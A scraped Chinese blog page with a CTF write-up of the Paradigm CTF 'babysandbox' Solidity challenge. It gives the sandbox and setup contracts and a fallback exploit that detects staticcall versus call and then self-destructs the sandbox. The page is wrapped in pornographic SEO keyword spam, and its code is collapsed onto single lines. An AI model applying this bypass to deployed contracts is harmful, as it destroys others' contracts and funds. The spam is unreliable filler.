日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【CTF】paradigm-CTF babysandbox

發(fā)布時間:2025/3/21 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CTF】paradigm-CTF babysandbox 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:找Ver👴想復(fù)現(xiàn)下qwb final的區(qū)塊鏈。Ver👴給我發(fā)了這個比賽下面的一道題,發(fā)現(xiàn)這個比賽里面有很多高質(zhì)量的智能合約題。從這里開始寫一些不錯的題目。

babysandbox

看到題目名字就知道了題目考點: 沙盒
給出合約
BabySandbox.sol

pragma solidity 0.7.0;contract BabySandbox {function run(address code) external payable {assembly {// if we're calling ourselves, perform the privileged delegatecallif eq(caller(), address()) {switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)case 0 {returndatacopy(0x00, 0x00, returndatasize())revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}// ensure enough gasif lt(gas(), 0xf000) {revert(0x00, 0x00)}// load calldatacalldatacopy(0x00, 0x00, calldatasize())// run using staticcall// if this fails, then the code is malicious because it tried to change stateif iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {revert(0x00, 0x00)}// if we got here, the code wasn't malicious// run without staticcall since it's safeswitch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)case 0 {returndatacopy(0x00, 0x00, returndatasize())// revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}} }

Setup.sol

pragma solidity 0.7.0;import "./BabySandbox.sol";contract Setup {BabySandbox public sandbox;constructor() {sandbox = new BabySandbox();}function isSolved() public view returns (bool) {uint size;assembly {size := extcodesize(sload(sandbox.slot))}return size == 0;} }

Setup.py中的isSolved()進行了是否成功解決challenge的check.
這里我不是很熟悉.slot這種用法,所以自己隨便部署了一個進行試驗。

應(yīng)該就是取了題目合約的整個字節(jié)碼。要求把合約變成一個賬戶。或者直接讓合約自毀應(yīng)該也可以。
然后我們分析下Sandbox中的各種方法

if eq(caller(), address()) {switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)case 0 {returndatacopy(0x00, 0x00, returndatasize())revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}

這里說的是如果caller也就是調(diào)用者是自己的話。那么就會直接調(diào)用。
delegatecall,也就是如果這里能設(shè)置出一些東西那么就可以成功改變合約狀態(tài)了。

if lt(gas(), 0xf000) {revert(0x00, 0x00)}// load calldatacalldatacopy(0x00, 0x00, calldatasize())// run using staticcall// if this fails, then the code is malicious because it tried to change stateif iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {revert(0x00, 0x00)}// if we got here, the code wasn't malicious// run without staticcall since it's safeswitch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)case 0 {returndatacopy(0x00, 0x00, returndatasize())// revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}

第一行檢測了gas是否夠用,然后calldatacopy
從調(diào)用數(shù)據(jù)的位置 f 的拷貝 s 個字節(jié)到內(nèi)存的位置 t
之后他就會利用staticall繼續(xù)進行檢測,但是我們可以發(fā)現(xiàn),他從這里進入的staticcall 是進入了 自己的合約。 相當(dāng)于對自己進行了一次重入。重入之后的調(diào)用方,就是msg.sender了。也就是可以正常進入delegatecall了。
但是他利用的是staticcall在外層,所以還是不能改變合約的原有狀態(tài)。

但是通過之后 他利用call進行了第二次的合約使用。也就是這里的delegatecall就可以完成任何想做的事情了。也就是我們想要的合約銷毀。

那么到這里 整體的思路就很清晰了:

首先進入run(address target)中,delegatecall無法進入,進入staticcall
staticall中進入delegatecall 完成一次調(diào)用。
call中進入delegatecall完成一次調(diào)用。
需要一個函數(shù)在staticcall中不改變合約狀態(tài),在call中改變。
delegatecall的target只需要直接selfdestruct就可以了。

那么現(xiàn)在就考慮怎么給出一個辦法,使得兩次調(diào)用所執(zhí)行的方法不同?
嘗試思路:

  • 我們考慮到利用全局變量進行賦值。但是可想而知這個方法并不可靠。因為我們是需要staticall通過檢測的,全局變量賦值還是改變了合約的原有狀態(tài)。
  • function()payable external{if(success==true){selfdestruct(msg.sender);}else{success=true;} }

    也就是利用類似上述的偽代碼。這里是不可做的。

  • 利用特征進行判斷。但是我們可以看到每次進行交易不管是傳的gas還是什么所有的call和staticall中的特征都完全相同。
    所以這個方法也很難進行bypass。
  • if(gas>value){ return ; } else{ selfdestruct(msg.sender); }

    考慮使用call外部變量進行改變,這種是可行的一個辦法。我們可以通過在外部合約設(shè)置一個方法 我們利用內(nèi)部的call方法進行請求,如果能正確返回狀態(tài)值則代表當(dāng)前狀態(tài)就是call了。

    因為外部Call方法的狀態(tài)即使revert()他也會只返回一個狀態(tài)碼0,并不會直接阻斷整個交易的正常運行。

    fallback()external payable{bool success;(success,)=address(0x3c725134d74D5c45B4E4ABd2e5e2a109b5541288).call("");if(!success){return;}else{selfdestruct(address(0));}}


    這樣就成功繞過了沙箱

    這個是從github的官方wp中學(xué)到的 ,感覺應(yīng)該和3的意思相同? 用等同于python的語法try catch 這樣可以直接避免直接revert()

    contract Setup {BabySandbox public sandbox;constructor() {sandbox = new BabySandbox();}function isSolved() public view returns (bool) {uint size;assembly {size := extcodesize(sload(sandbox.slot))}return size == 0;} }

    學(xué)到了很多opcode以及call staticcall delegatecall的知識。


    有自學(xué)網(wǎng)絡(luò)安全的朋友可以關(guān)注私信我哦!!!

    總結(jié)

    以上是生活随笔為你收集整理的【CTF】paradigm-CTF babysandbox的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 日韩欧洲亚洲AV无码精品 | 99热这里只有精品首页 | 理论片琪琪午夜电影 | 色老头一区 | 波多野结衣中文字幕一区二区三区 | 午夜日韩欧美 | 日韩精品一卡 | 总裁憋尿呻吟双腿大开憋尿 | 丰满少妇熟乱xxxxx视频 | 国产精品九九九九九 | 精品国产理论 | 无码精品久久久久久久 | av在线不卡网 | 亚洲一区二区视频网站 | 97精品一区二区三区 | 欧美不卡网 | 国产奶水涨喷在线播放 | 韩国不卡av | 毛片在线网 | 亚洲综合小说 | 四虎在线免费视频 | 2级黄色片 | 91视频免费在线观看 | 亚洲成在线观看 | 亚洲91色 | 在线观看aaa| 少妇精品高潮欲妇又嫩中文字幕 | 亚洲+小说+欧美+激情+另类 | 中文字幕一区二区三区手机版 | 91精品国产自产精品男人的天堂 | 亚洲永久免费 | 日韩大片免费在线观看 | 麻豆av免费在线观看 | 99亚洲天堂| 一区二区三区四区视频 | 夜夜草天天草 | 黑人激情视频 | 亚洲国产成人无码av在线 | 日韩深夜在线 | 久久国产影院 | 97人妻精品一区二区免费 | 青青草99 | 色妺妺视频网 | 久草免费av | 69堂精品| 精品久久国产视频 | 91成人精品一区在线播放 | 99久久99久久精品国产片果冻 | 嫩草影院av| 国产日本精品视频 | 久久精品波多野结衣 | 亚洲精品第二页 | 国产亚洲自拍av | 久久久www成人免费精品 | 不卡影院 | 九一精品在线 | 伊人久久久久久久久久 | 日本狠狠操| 天天干夜夜怕 | 一区二区三区四区视频在线观看 | 国产精品国产三级国产普通话蜜臀 | 嫩草一区 | 国内精品第一页 | 久久久久成人片免费观看蜜芽 | 久久99精品久久久 | 97久草| 日韩成人免费在线视频 | 日韩国产中文字幕 | 亚洲熟女乱综合一区二区 | 国产91黄色 | 西西人体高清44rt·net | 伊人网综合 | 欧美性大战久久久久久久 | 波多野结衣亚洲天堂 | 亚洲天堂午夜 | 成人片片| www.麻豆av| 日本久久一级片 | 自拍偷拍专区 | 国产啊v在线观看 | 亚洲福利在线播放 | 久久精品国产视频 | 美女视屏 | 噜噜噜视频| 国产69精品久久久 | 久久性生活片 | 中文字幕人妻一区二区三区在线视频 | 亚洲成人动漫在线观看 | 亚洲777| 手机在线毛片 | 在线无码va中文字幕无码 | 在线不卡日本 | 花房姑娘免费全集 | 亚洲一区二区三区四区五区午夜 | 成人免费入口 | 欧美日韩在线免费观看 | 日本无遮羞调教打屁股网站 | 可以免费看毛片的网站 | 成人看片在线观看 |